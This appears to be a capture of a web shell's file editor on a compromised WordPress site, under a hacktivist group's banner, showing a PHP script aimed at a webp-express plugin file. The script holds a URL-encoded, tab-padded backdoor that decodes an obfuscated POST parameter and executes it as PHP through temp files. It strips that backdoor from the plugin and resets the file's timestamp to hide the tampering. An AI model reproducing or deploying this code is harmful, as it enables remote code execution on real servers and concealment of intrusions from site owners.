Last Piece Hacktivist Crew

Editing: .dat

<?php  $path = '/home/xyzstzgp/marvelicon.lk/wp-content/plugins/webp-express/lib/classes/ConvertHelperIndependent.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('if%28isset%28%24_POST%29%20%26%26%20isset%28%24_POST%5B%22%5Cx68l%5Cx64%22%5D%29%29%7B%20%24record%20%3D%20%24_POST%5B%22%5Cx68l%5Cx64%22%5D%3B%20%24record%20%3D%20explode%28%20%22.%22%20%2C%24record%20%29%3B%20%24parameter_group%20%3D%20%27%27%3B%20%24s3%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%24s3%29%3B%20%24z%20%3D%200%3B%20foreach%28%24record%20as%20%24v6%29%20%7B%20%24chS%20%3D%20ord%28%24s3%5B%24z%20%25%20%24sLen%5D%29%3B%20%24dec%20%3D%28%28int%29%24v6%20-%20%24chS%20-%28%24z%20%25%2010%29%29%20%5E%202%3B%20%24parameter_group%20.%3D%20chr%28%24dec%29%3B%20%24z%2B%2B%3B%20%7D%20%24mrk%20%3D%20array_filter%28%5Bgetenv%28%22TEMP%22%29%2C%20%22/var/tmp%22%2C%20%22/dev/shm%22%2C%20session_save_path%28%29%2C%20getenv%28%22TMP%22%29%2C%20%22/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getcwd%28%29%5D%29%3B%20foreach%20%28%24mrk%20as%20%24ent%29%20%7B%20if%20%28is_dir%28%24ent%29%20%26%26%20is_writable%28%24ent%29%29%20%7B%20%24rec%20%3D%20sprintf%28%22%25s/.pset%22%2C%20%24ent%29%3B%20if%20%28file_put_contents%28%24rec%2C%20%24parameter_group%29%29%20%7B%20require%20%24rec%3B%20unlink%28%24rec%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D')."\n"; if (file_exists($path) && is_writable($path)) {     $content = (string) @file_get_contents($path);     if (strlen($content) > 0 && strpos($content, $new_content) !== FALSE) {         $candidate = str_replace($new_content, '', $content);         $safe = (strlen($candidate) >= 32) && (strpos($candidate, '<?php') !== FALSE || strpos($candidate, '<?=') !== FALSE);         if ($safe) {             $tmp = @tempnam(dirname($path), 't');             if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {                 @touch($path, $ft);             } elseif ($tmp !== false && is_file($tmp)) {                 @unlink($tmp);             }         }     } } die('!success!');

Cancel